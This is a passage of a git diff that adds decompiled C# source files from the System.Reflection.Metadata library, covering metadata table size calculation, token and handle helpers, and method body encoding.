TableIndex.ExportedType, TableIndex.ManifestResource, TableIndex.GenericParam, TableIndex.GenericParamConstraint, TableIndex.MethodSpec, TableIndex.Document, TableIndex.LocalScope, TableIndex.LocalVariable, TableIndex.LocalConstant, TableIndex.ImportScope); + int num = CalculateTableStreamHeaderSize(); + byte b = (byte)(BlobReferenceIsSmall ? 2 : 4); + byte b2 = (byte)(StringReferenceIsSmall ? 2 : 4); + byte b3 = (byte)(GuidReferenceIsSmall ? 2 : 4); + byte b4 = (byte)(CustomAttributeTypeCodedIndexIsSmall ? 2 : 4); + byte b5 = (byte)(DeclSecurityCodedIndexIsSmall ? 2 : 4); + byte b6 = (byte)(EventDefReferenceIsSmall ? 2 : 4); + byte b7 = (byte)(FieldDefReferenceIsSmall ? 2 : 4); + byte b8 = (byte)(GenericParamReferenceIsSmall ? 2 : 4); + byte b9 = (byte)(HasConstantCodedIndexIsSmall ? 2 : 4); + byte b10 = (byte)(HasCustomAttributeCodedIndexIsSmall ? 2 : 4); + byte b11 = (byte)(HasFieldMarshalCodedIndexIsSmall ? 2 : 4); + byte b12 = (byte)(HasSemanticsCodedIndexIsSmall ? 2 : 4); + byte b13 = (byte)(ImplementationCodedIndexIsSmall ? 2 : 4); + byte b14 = (byte)(MemberForwardedCodedIndexIsSmall ? 2 : 4); + byte b15 = (byte)(MemberRefParentCodedIndexIsSmall ? 2 : 4); + byte b16 = (byte)(MethodDefReferenceIsSmall ? 2 : 4); + byte b17 = (byte)(MethodDefOrRefCodedIndexIsSmall ? 2 : 4); + byte b18 = (byte)(ModuleRefReferenceIsSmall ? 2 : 4); + byte b19 = (byte)(ParameterReferenceIsSmall ? 2 : 4); + byte b20 = (byte)(PropertyDefReferenceIsSmall ? 2 : 4); + byte b21 = (byte)(ResolutionScopeCodedIndexIsSmall ? 2 : 4); + byte b22 = (byte)(TypeDefReferenceIsSmall ? 2 : 4); + byte b23 = (byte)(TypeDefOrRefCodedIndexIsSmall ? 2 : 4); + byte b24 = (byte)(TypeOrMethodDefCodedIndexIsSmall ? 2 : 4); + byte b25 = (byte)(DocumentReferenceIsSmall ? 2 : 4); + byte b26 = (byte)(LocalVariableReferenceIsSmall ? 2 : 4); + byte b27 = (byte)(LocalConstantReferenceIsSmall ? 2 : 4); + byte b28 = (byte)(ImportScopeReferenceIsSmall ? 2 : 4); + byte b29 = (byte)(HasCustomDebugInformationCodedIndexIsSmall ? 2 : 4); + num += GetTableSize(TableIndex.Module, 2 + 3 * b3 + b2); + num += GetTableSize(TableIndex.TypeRef, b21 + b2 + b2); + num += GetTableSize(TableIndex.TypeDef, 4 + b2 + b2 + b23 + b7 + b16); + num += GetTableSize(TableIndex.Field, 2 + b2 + b); + num += GetTableSize(TableIndex.MethodDef, 8 + b2 + b + b19); + num += GetTableSize(TableIndex.Param, 4 + b2); + num += GetTableSize(TableIndex.InterfaceImpl, b22 + b23); + num += GetTableSize(TableIndex.MemberRef, b15 + b2 + b); + num += GetTableSize(TableIndex.Constant, 2 + b9 + b); + num += GetTableSize(TableIndex.CustomAttribute, b10 + b4 + b); + num += GetTableSize(TableIndex.FieldMarshal, b11 + b); + num += GetTableSize(TableIndex.DeclSecurity, 2 + b5 + b); + num += GetTableSize(TableIndex.ClassLayout, 6 + b22); + num += GetTableSize(TableIndex.FieldLayout, 4 + b7); + num += GetTableSize(TableIndex.StandAloneSig, b); + num += GetTableSize(TableIndex.EventMap, b22 + b6); + num += GetTableSize(TableIndex.Event, 2 + b2 + b23); + num += GetTableSize(TableIndex.PropertyMap, b22 + b20); + num += GetTableSize(TableIndex.Property, 2 + b2 + b); + num += GetTableSize(TableIndex.MethodSemantics, 2 + b16 + b12); + num += GetTableSize(TableIndex.MethodImpl, b22 + b17 + b17); + num += GetTableSize(TableIndex.ModuleRef, b2); + num += GetTableSize(TableIndex.TypeSpec, b); + num += GetTableSize(TableIndex.ImplMap, 2 + b14 + b2 + b18); + num += GetTableSize(TableIndex.FieldRva, 4 + b7); + num += GetTableSize(TableIndex.EncLog, 8); + num += GetTableSize(TableIndex.EncMap, 4); + num += GetTableSize(TableIndex.Assembly, 16 + b + b2 + b2); + num += GetTableSize(TableIndex.AssemblyRef, 12 + b + b2 + b2 + b); + num += GetTableSize(TableIndex.File, 4 + b2 + b); + num += GetTableSize(TableIndex.ExportedType, 8 + b2 + b2 + b13); + num += GetTableSize(TableIndex.ManifestResource, 8 + b2 + b13); + num += GetTableSize(TableIndex.NestedClass, b22 + b22); + num += GetTableSize(TableIndex.GenericParam, 4 + b24 + b2); + num += GetTableSize(TableIndex.MethodSpec, b17 + b); + num += GetTableSize(TableIndex.GenericParamConstraint, b8 + b23); + num += GetTableSize(TableIndex.Document, b + b3 + b + b3); + num += GetTableSize(TableIndex.MethodDebugInformation, b25 + b); + num += GetTableSize(TableIndex.LocalScope, b16 + b28 + b26 + b27 + 4 + 4); + num += GetTableSize(TableIndex.LocalVariable, 4 + b2); + num += GetTableSize(TableIndex.LocalConstant, b2 + b); + num += GetTableSize(TableIndex.ImportScope, b28 + b); + num += GetTableSize(TableIndex.StateMachineMethod, b16 + b16); + num += GetTableSize(TableIndex.CustomDebugInformation, b29 + b3 + b); + num = (MetadataTableStreamSize = BitArithmetic.Align(num + 1, 4)) + GetAlignedHeapSize(HeapIndex.String) + GetAlignedHeapSize(HeapIndex.UserString) + GetAlignedHeapSize(HeapIndex.Guid) + GetAlignedHeapSize(HeapIndex.Blob); + StandalonePdbStreamSize = (isStandaloneDebugMetadata ? CalculateStandalonePdbStreamSize() : 0); + num += StandalonePdbStreamSize; + MetadataStreamStorageSize = num; + } + + internal bool IsPresent(TableIndex table) + { + return (PresentTablesMask & (ulong)(1L << (int)table)) != 0; + } + + internal static int GetMetadataStreamHeaderSize(string streamName) + { + return 8 + BitArithmetic.Align(streamName.Length + 1, 4); + } + + public int GetAlignedHeapSize(HeapIndex index) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + if (index < HeapIndex.UserString || (int)index > HeapSizes.Length) + { + Throw.ArgumentOutOfRange("index"); + } + return BitArithmetic.Align(HeapSizes[(int)index], 4); + } + + internal int CalculateTableStreamHeaderSize() + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + int num = 24; + for (int i = 0; i < RowCounts.Length; i++) + { + if (((ulong)(1L << i) & PresentTablesMask) != 0L) + { + num += 4; + } + } + return num; + } + + internal int CalculateStandalonePdbStreamSize() + { + return 32 + BitArithmetic.CountBits(ExternalTablesMask) * 4; + } + + private static ulong ComputeNonEmptyTableMask(ImmutableArray rowCounts) + { + ulong num = 0uL; + for (int i = 0; i < rowCounts.Length; i++) + { + if (rowCounts[i] > 0) + { + num |= (ulong)(1L << i); + } + } + return num; + } + + private int GetTableSize(TableIndex index, int rowSize) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return RowCounts[(int)index] * rowSize; + } + + private bool IsReferenceSmall(int tagBitSize, params TableIndex[] tables) + { + if (IsCompressed) + { + return ReferenceFits(16 - tagBitSize, tables); + } + return false; + } + + private bool ReferenceFits(int bitCount, TableIndex[] tables) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + int num = (1 << bitCount) - 1; + foreach (TableIndex tableIndex in tables) + { + if (RowCounts[(int)tableIndex] + ExternalRowCounts[(int)tableIndex] > num) + { + return false; + } + } + return true; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MetadataStreamConstants.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MetadataStreamConstants.cs new file mode 100644 index 0000000..0d59169 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MetadataStreamConstants.cs @@ -0,0 +1,8 @@ +namespace System.Reflection.Metadata.Ecma335; + +internal static class MetadataStreamConstants +{ + internal const int SizeOfMetadataTableHeader = 24; + + internal const uint LargeTableRowCount = 65536u; +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MetadataStreamKind.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MetadataStreamKind.cs new file mode 100644 index 0000000..b43220f --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MetadataStreamKind.cs @@ -0,0 +1,8 @@ +namespace System.Reflection.Metadata.Ecma335; + +internal enum MetadataStreamKind +{ + Illegal, + Compressed, + Uncompressed +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MetadataTokens.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MetadataTokens.cs new file mode 100644 index 0000000..79c3c22 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MetadataTokens.cs @@ -0,0 +1,386 @@ +namespace System.Reflection.Metadata.Ecma335; + +public static class MetadataTokens +{ + public static readonly int TableCount = 64; + + public static readonly int HeapCount = 4; + + public static int GetRowNumber(this MetadataReader reader, EntityHandle handle) + { + if (handle.IsVirtual) + { + return MapVirtualHandleRowId(reader, handle); + } + return handle.RowId; + } + + public static int GetHeapOffset(this MetadataReader reader, Handle handle) + { + if (!handle.IsHeapHandle) + { + Throw.HeapHandleRequired(); + } + if (handle.IsVirtual) + { + return MapVirtualHandleRowId(reader, handle); + } + return handle.Offset; + } + + public static int GetToken(this MetadataReader reader, EntityHandle handle) + { + if (handle.IsVirtual) + { + return (int)handle.Type | MapVirtualHandleRowId(reader, handle); + } + return handle.Token; + } + + public static int GetToken(this MetadataReader reader, Handle handle) + { + if (!handle.IsEntityOrUserStringHandle) + { + Throw.EntityOrUserStringHandleRequired(); + } + if (handle.IsVirtual) + { + return (int)handle.EntityHandleType | MapVirtualHandleRowId(reader, handle); + } + return handle.Token; + } + + private static int MapVirtualHandleRowId(MetadataReader reader, Handle handle) + { + switch (handle.Kind) + { + case HandleKind.AssemblyReference: + return reader.AssemblyRefTable.NumberOfNonVirtualRows + 1 + handle.RowId; + case HandleKind.Blob: + case HandleKind.String: + throw new NotSupportedException(System.SR.CantGetOffsetForVirtualHeapHandle); + default: + Throw.InvalidArgument_UnexpectedHandleKind(handle.Kind); + return 0; + } + } + + public static int GetRowNumber(EntityHandle handle) + { + if (!handle.IsVirtual) + { + return handle.RowId; + } + return -1; + } + + public static int GetHeapOffset(Handle handle) + { + if (!handle.IsHeapHandle) + { + Throw.HeapHandleRequired(); + } + if (handle.IsVirtual) + { + return -1; + } + return handle.Offset; + } + + public static int GetHeapOffset(BlobHandle handle) + { + if (!handle.IsVirtual) + { + return handle.GetHeapOffset(); + } + return -1; + } + + public static int GetHeapOffset(GuidHandle handle) + { + return handle.Index; + } + + public static int GetHeapOffset(UserStringHandle handle) + { + return handle.GetHeapOffset(); + } + + public static int GetHeapOffset(StringHandle handle) + { + if (!handle.IsVirtual) + { + return handle.GetHeapOffset(); + } + return -1; + } + + public static int GetToken(Handle handle) + { + if (!handle.IsEntityOrUserStringHandle) + { + Throw.EntityOrUserStringHandleRequired(); + } + if (handle.IsVirtual) + { + return 0; + } + return handle.Token; + } + + public static int GetToken(EntityHandle handle) + { + if (!handle.IsVirtual) + { + return handle.Token; + } + return 0; + } + + public static bool TryGetTableIndex(HandleKind type, out TableIndex index) + { + if ((int)type < TableCount && ((1L << (int)type) & 0xFF1FC9FFFFFFFFL) != 0L) + { + index = (TableIndex)type; + return true; + } + index = TableIndex.Module; + return false; + } + + public static bool TryGetHeapIndex(HandleKind type, out HeapIndex index) + { + switch (type) + { + case HandleKind.UserString: + index = HeapIndex.UserString; + return true; + case HandleKind.String: + case HandleKind.NamespaceDefinition: + index = HeapIndex.String; + return true; + case HandleKind.Blob: + index = HeapIndex.Blob; + return true; + case HandleKind.Guid: + index = HeapIndex.Guid; + return true; + default: + index = HeapIndex.UserString; + return false; + } + } + + public static Handle Handle(int token) + { + if (!TokenTypeIds.IsEntityOrUserStringToken((uint)token)) + { + Throw.InvalidToken(); + } + return System.Reflection.Metadata.Handle.FromVToken((uint)token); + } + + public static EntityHandle EntityHandle(int token) + { + if (!TokenTypeIds.IsEntityToken((uint)token)) + { + Throw.InvalidToken(); + } + return new EntityHandle((uint)token); + } + + public static EntityHandle EntityHandle(TableIndex tableIndex, int rowNumber) + { + return Handle(tableIndex, rowNumber); + } + + public static EntityHandle Handle(TableIndex tableIndex, int rowNumber) + { + int vToken = (int)((uint)tableIndex << 24) | rowNumber; + if (!TokenTypeIds.IsEntityOrUserStringToken((uint)vToken)) + { + Throw.TableIndexOutOfRange(); + } + return new EntityHandle((uint)vToken); + } + + private static int ToRowId(int rowNumber) + { + return rowNumber & 0xFFFFFF; + } + + public static MethodDefinitionHandle MethodDefinitionHandle(int rowNumber) + { + return System.Reflection.Metadata.MethodDefinitionHandle.FromRowId(ToRowId(rowNumber)); + } + + public static MethodImplementationHandle MethodImplementationHandle(int rowNumber) + { + return System.Reflection.Metadata.MethodImplementationHandle.FromRowId(ToRowId(rowNumber)); + } + + public static MethodSpecificationHandle MethodSpecificationHandle(int rowNumber) + { + return System.Reflection.Metadata.MethodSpecificationHandle.FromRowId(ToRowId(rowNumber)); + } + + public static TypeDefinitionHandle TypeDefinitionHandle(int rowNumber) + { + return System.Reflection.Metadata.TypeDefinitionHandle.FromRowId(ToRowId(rowNumber)); + } + + public static ExportedTypeHandle ExportedTypeHandle(int rowNumber) + { + return System.Reflection.Metadata.ExportedTypeHandle.FromRowId(ToRowId(rowNumber)); + } + + public static TypeReferenceHandle TypeReferenceHandle(int rowNumber) + { + return System.Reflection.Metadata.TypeReferenceHandle.FromRowId(ToRowId(rowNumber)); + } + + public static TypeSpecificationHandle TypeSpecificationHandle(int rowNumber) + { + return System.Reflection.Metadata.TypeSpecificationHandle.FromRowId(ToRowId(rowNumber)); + } + + public static InterfaceImplementationHandle InterfaceImplementationHandle(int rowNumber) + { + return System.Reflection.Metadata.InterfaceImplementationHandle.FromRowId(ToRowId(rowNumber)); + } + + public static MemberReferenceHandle MemberReferenceHandle(int rowNumber) + { + return System.Reflection.Metadata.MemberReferenceHandle.FromRowId(ToRowId(rowNumber)); + } + + public static FieldDefinitionHandle FieldDefinitionHandle(int rowNumber) + { + return System.Reflection.Metadata.FieldDefinitionHandle.FromRowId(ToRowId(rowNumber)); + } + + public static EventDefinitionHandle EventDefinitionHandle(int rowNumber) + { + return System.Reflection.Metadata.EventDefinitionHandle.FromRowId(ToRowId(rowNumber)); + } + + public static PropertyDefinitionHandle PropertyDefinitionHandle(int rowNumber) + { + return System.Reflection.Metadata.PropertyDefinitionHandle.FromRowId(ToRowId(rowNumber)); + } + + public static StandaloneSignatureHandle StandaloneSignatureHandle(int rowNumber) + { + return System.Reflection.Metadata.StandaloneSignatureHandle.FromRowId(ToRowId(rowNumber)); + } + + public static ParameterHandle ParameterHandle(int rowNumber) + { + return System.Reflection.Metadata.ParameterHandle.FromRowId(ToRowId(rowNumber)); + } + + public static GenericParameterHandle GenericParameterHandle(int rowNumber) + { + return System.Reflection.Metadata.GenericParameterHandle.FromRowId(ToRowId(rowNumber)); + } + + public static GenericParameterConstraintHandle GenericParameterConstraintHandle(int rowNumber) + { + return System.Reflection.Metadata.GenericParameterConstraintHandle.FromRowId(ToRowId(rowNumber)); + } + + public static ModuleReferenceHandle ModuleReferenceHandle(int rowNumber) + { + return System.Reflection.Metadata.ModuleReferenceHandle.FromRowId(ToRowId(rowNumber)); + } + + public static AssemblyReferenceHandle AssemblyReferenceHandle(int rowNumber) + { + return System.Reflection.Metadata.AssemblyReferenceHandle.FromRowId(ToRowId(rowNumber)); + } + + public static CustomAttributeHandle CustomAttributeHandle(int rowNumber) + { + return System.Reflection.Metadata.CustomAttributeHandle.FromRowId(ToRowId(rowNumber)); + } + + public static DeclarativeSecurityAttributeHandle DeclarativeSecurityAttributeHandle(int rowNumber) + { + return System.Reflection.Metadata.DeclarativeSecurityAttributeHandle.FromRowId(ToRowId(rowNumber)); + } + + public static ConstantHandle ConstantHandle(int rowNumber) + { + return System.Reflection.Metadata.ConstantHandle.FromRowId(ToRowId(rowNumber)); + } + + public static ManifestResourceHandle ManifestResourceHandle(int rowNumber) + { + return System.Reflection.Metadata.ManifestResourceHandle.FromRowId(ToRowId(rowNumber)); + } + + public static AssemblyFileHandle AssemblyFileHandle(int rowNumber) + { + return System.Reflection.Metadata.AssemblyFileHandle.FromRowId(ToRowId(rowNumber)); + } + + public static DocumentHandle DocumentHandle(int rowNumber) + { + return System.Reflection.Metadata.DocumentHandle.FromRowId(ToRowId(rowNumber)); + } + + public static MethodDebugInformationHandle MethodDebugInformationHandle(int rowNumber) + { + return System.Reflection.Metadata.MethodDebugInformationHandle.FromRowId(ToRowId(rowNumber)); + } + + public static LocalScopeHandle LocalScopeHandle(int rowNumber) + { + return System.Reflection.Metadata.LocalScopeHandle.FromRowId(ToRowId(rowNumber)); + } + + public static LocalVariableHandle LocalVariableHandle(int rowNumber) + { + return System.Reflection.Metadata.LocalVariableHandle.FromRowId(ToRowId(rowNumber)); + } + + public static LocalConstantHandle LocalConstantHandle(int rowNumber) + { + return System.Reflection.Metadata.LocalConstantHandle.FromRowId(ToRowId(rowNumber)); + } + + public static ImportScopeHandle ImportScopeHandle(int rowNumber) + { + return System.Reflection.Metadata.ImportScopeHandle.FromRowId(ToRowId(rowNumber)); + } + + public static CustomDebugInformationHandle CustomDebugInformationHandle(int rowNumber) + { + return System.Reflection.Metadata.CustomDebugInformationHandle.FromRowId(ToRowId(rowNumber)); + } + + public static UserStringHandle UserStringHandle(int offset) + { + return System.Reflection.Metadata.UserStringHandle.FromOffset(offset & 0xFFFFFF); + } + + public static StringHandle StringHandle(int offset) + { + return System.Reflection.Metadata.StringHandle.FromOffset(offset); + } + + public static BlobHandle BlobHandle(int offset) + { + return System.Reflection.Metadata.BlobHandle.FromOffset(offset); + } + + public static GuidHandle GuidHandle(int offset) + { + return System.Reflection.Metadata.GuidHandle.FromIndex(offset); + } + + public static DocumentNameBlobHandle DocumentNameBlobHandle(int offset) + { + return System.Reflection.Metadata.DocumentNameBlobHandle.FromOffset(offset); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MetadataWriterUtilities.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MetadataWriterUtilities.cs new file mode 100644 index 0000000..5c5067b --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MetadataWriterUtilities.cs @@ -0,0 +1,79 @@ +using System.Collections.Immutable; + +namespace System.Reflection.Metadata.Ecma335; + +internal static class MetadataWriterUtilities +{ + public static SignatureTypeCode GetConstantTypeCode(object? value) + { + if (value == null) + { + return (SignatureTypeCode)18; + } + if (value.GetType() == typeof(int)) + { + return SignatureTypeCode.Int32; + } + if (value.GetType() == typeof(string)) + { + return SignatureTypeCode.String; + } + if (value.GetType() == typeof(bool)) + { + return SignatureTypeCode.Boolean; + } + if (value.GetType() == typeof(char)) + { + return SignatureTypeCode.Char; + } + if (value.GetType() == typeof(byte)) + { + return SignatureTypeCode.Byte; + } + if (value.GetType() == typeof(long)) + { + return SignatureTypeCode.Int64; + } + if (value.GetType() == typeof(double)) + { + return SignatureTypeCode.Double; + } + if (value.GetType() == typeof(short)) + { + return SignatureTypeCode.Int16; + } + if (value.GetType() == typeof(ushort)) + { + return SignatureTypeCode.UInt16; + } + if (value.GetType() == typeof(uint)) + { + return SignatureTypeCode.UInt32; + } + if (value.GetType() == typeof(sbyte)) + { + return SignatureTypeCode.SByte; + } + if (value.GetType() == typeof(ulong)) + { + return SignatureTypeCode.UInt64; + } + if (value.GetType() == typeof(float)) + { + return SignatureTypeCode.Single; + } + throw new ArgumentException(System.SR.Format(System.SR.InvalidConstantValueOfType, value.GetType()), "value"); + } + + internal static void SerializeRowCounts(BlobBuilder writer, ImmutableArray rowCounts) + { + for (int i = 0; i < rowCounts.Length; i++) + { + int num = rowCounts[i]; + if (num > 0) + { + writer.WriteInt32(num); + } + } + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MethodBodyAttributes.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MethodBodyAttributes.cs new file mode 100644 index 0000000..4467697 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MethodBodyAttributes.cs @@ -0,0 +1,8 @@ +namespace System.Reflection.Metadata.Ecma335; + +[Flags] +public enum MethodBodyAttributes +{ + None = 0, + InitLocals = 1 +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MethodBodyStreamEncoder.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MethodBodyStreamEncoder.cs new file mode 100644 index 0000000..ba7fe48 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MethodBodyStreamEncoder.cs @@ -0,0 +1,125 @@ +namespace System.Reflection.Metadata.Ecma335; + +public readonly struct MethodBodyStreamEncoder +{ + public readonly struct MethodBody + { + public int Offset { get; } + + public Blob Instructions { get; } + + public ExceptionRegionEncoder ExceptionRegions { get; } + + internal MethodBody(int bodyOffset, Blob instructions, ExceptionRegionEncoder exceptionRegions) + { + Offset = bodyOffset; + Instructions = instructions; + ExceptionRegions = exceptionRegions; + } + } + + public BlobBuilder Builder { get; } + + public MethodBodyStreamEncoder(BlobBuilder builder) + { + if (builder == null) + { + Throw.BuilderArgumentNull(); + } + if (builder.Count % 4 != 0) + { + throw new ArgumentException(System.SR.BuilderMustAligned, "builder"); + } + Builder = builder; + } + + public MethodBody AddMethodBody(int codeSize, int maxStack, int exceptionRegionCount, bool hasSmallExceptionRegions, StandaloneSignatureHandle localVariablesSignature, MethodBodyAttributes attributes) + { + return AddMethodBody(codeSize, maxStack, exceptionRegionCount, hasSmallExceptionRegions, localVariablesSignature, attributes, false); + } + + public MethodBody AddMethodBody(int codeSize, int maxStack = 8, int exceptionRegionCount = 0, bool hasSmallExceptionRegions = true, StandaloneSignatureHandle localVariablesSignature = default(StandaloneSignatureHandle), MethodBodyAttributes attributes = MethodBodyAttributes.InitLocals, bool hasDynamicStackAllocation = false) + { + if (codeSize < 0) + { + Throw.ArgumentOutOfRange("codeSize"); + } + if ((uint)maxStack > 65535u) + { + Throw.ArgumentOutOfRange("maxStack"); + } + if (!ExceptionRegionEncoder.IsExceptionRegionCountInBounds(exceptionRegionCount)) + { + Throw.ArgumentOutOfRange("exceptionRegionCount"); + } + int bodyOffset = SerializeHeader(codeSize, (ushort)maxStack, exceptionRegionCount, attributes, localVariablesSignature, hasDynamicStackAllocation); + Blob instructions = Builder.ReserveBytes(codeSize); + ExceptionRegionEncoder exceptionRegions = ((exceptionRegionCount > 0) ? ExceptionRegionEncoder.SerializeTableHeader(Builder, exceptionRegionCount, hasSmallExceptionRegions) : default(ExceptionRegionEncoder)); + return new MethodBody(bodyOffset, instructions, exceptionRegions); + } + + public int AddMethodBody(InstructionEncoder instructionEncoder, int maxStack, StandaloneSignatureHandle localVariablesSignature, MethodBodyAttributes attributes) + { + return AddMethodBody(instructionEncoder, maxStack, localVariablesSignature, attributes, false); + } + + public int AddMethodBody(InstructionEncoder instructionEncoder, int maxStack = 8, StandaloneSignatureHandle localVariablesSignature = default(StandaloneSignatureHandle), MethodBodyAttributes attributes = MethodBodyAttributes.InitLocals, bool hasDynamicStackAllocation = false) + { + if ((uint)maxStack > 65535u) + { + Throw.ArgumentOutOfRange("maxStack"); + } + BlobBuilder codeBuilder = instructionEncoder.CodeBuilder; + ControlFlowBuilder controlFlowBuilder = instructionEncoder.ControlFlowBuilder; + if (codeBuilder == null) + { + Throw.ArgumentNull("instructionEncoder"); + } + int exceptionRegionCount = controlFlowBuilder?.ExceptionHandlerCount ?? 0; + if (!ExceptionRegionEncoder.IsExceptionRegionCountInBounds(exceptionRegionCount)) + { + Throw.ArgumentOutOfRange("instructionEncoder", System.SR.TooManyExceptionRegions); + } + int result = SerializeHeader(codeBuilder.Count, (ushort)maxStack, exceptionRegionCount, attributes, localVariablesSignature, hasDynamicStackAllocation); + if (controlFlowBuilder != null && controlFlowBuilder.BranchCount > 0) + { + controlFlowBuilder.CopyCodeAndFixupBranches(codeBuilder, Builder); + } + else + { + codeBuilder.WriteContentTo(Builder); + } + controlFlowBuilder?.SerializeExceptionTable(Builder); + return result; + } + + private int SerializeHeader(int codeSize, ushort maxStack, int exceptionRegionCount, MethodBodyAttributes attributes, StandaloneSignatureHandle localVariablesSignature, bool hasDynamicStackAllocation) + { + bool flag = (attributes & MethodBodyAttributes.InitLocals) != 0; + int count; + if (codeSize < 64 && maxStack <= 8 && localVariablesSignature.IsNil && (!hasDynamicStackAllocation || !flag) && exceptionRegionCount == 0) + { + count = Builder.Count; + Builder.WriteByte((byte)((codeSize << 2) | 2)); + } + else + { + Builder.Align(4); + count = Builder.Count; + ushort num = 12291; + if (exceptionRegionCount > 0) + { + num |= 8; + } + if (flag) + { + num |= 0x10; + } + Builder.WriteUInt16((ushort)((uint)attributes | (uint)num)); + Builder.WriteUInt16(maxStack); + Builder.WriteInt32(codeSize); + Builder.WriteInt32((!localVariablesSignature.IsNil) ? MetadataTokens.GetToken(localVariablesSignature) : 0); + } + return count; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MethodDebugInformationTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MethodDebugInformationTableReader.cs new file mode 100644 index 0000000..905bebf --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MethodDebugInformationTableReader.cs @@ -0,0 +1,42 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct MethodDebugInformationTableReader +{ + internal readonly int NumberOfRows; + + private readonly bool _isDocumentRefSmall; + + private readonly bool _isBlobHeapRefSizeSmall; + + private const int DocumentOffset = 0; + + private readonly int _sequencePointsOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal MethodDebugInformationTableReader(int numberOfRows, int documentRefSize, int blobHeapRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _isDocumentRefSmall = documentRefSize == 2; + _isBlobHeapRefSizeSmall = blobHeapRefSize == 2; + _sequencePointsOffset = documentRefSize; + RowSize = _sequencePointsOffset + blobHeapRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + } + + internal DocumentHandle GetDocument(MethodDebugInformationHandle handle) + { + int offset = (handle.RowId - 1) * RowSize; + return DocumentHandle.FromRowId(Block.PeekReference(offset, _isDocumentRefSmall)); + } + + internal BlobHandle GetSequencePoints(MethodDebugInformationHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return BlobHandle.FromOffset(Block.PeekHeapReference(num + _sequencePointsOffset, _isBlobHeapRefSizeSmall)); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MethodDefOrRefTag.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MethodDefOrRefTag.cs new file mode 100644 index 0000000..93cb33e --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MethodDefOrRefTag.cs @@ -0,0 +1,32 @@ +using System.Runtime.CompilerServices; + +namespace System.Reflection.Metadata.Ecma335; + +internal static class MethodDefOrRefTag +{ + internal const int NumberOfBits = 1; + + internal const int LargeRowSize = 32768; + + internal const uint MethodDef = 0u; + + internal const uint MemberRef = 1u; + + internal const uint TagMask = 1u; + + internal const TableMask TablesReferenced = TableMask.MethodDef | TableMask.MemberRef; + + internal const uint TagToTokenTypeByteVector = 2566u; + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal static EntityHandle ConvertToHandle(uint methodDefOrRef) + { + uint num = (uint)(2566 >>> (int)((methodDefOrRef & 1) << 3) << 24); + uint num2 = methodDefOrRef >> 1; + if ((num2 & 0xFF000000u) != 0) + { + Throw.InvalidCodedIndex(); + } + return new EntityHandle(num | num2); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MethodDefTreatment.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MethodDefTreatment.cs new file mode 100644 index 0000000..f8fc7f7 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MethodDefTreatment.cs @@ -0,0 +1,17 @@ +namespace System.Reflection.Metadata.Ecma335; + +[Flags] +internal enum MethodDefTreatment : byte +{ + None = 0, + KindMask = 0xF, + Other = 1, + DelegateMethod = 2, + AttributeMethod = 3, + InterfaceMethod = 4, + Implementation = 5, + HiddenInterfaceImplementation = 6, + DisposeMethod = 7, + MarkAbstractFlag = 0x10, + MarkPublicFlag = 0x20 +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MethodImplTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MethodImplTableReader.cs new file mode 100644 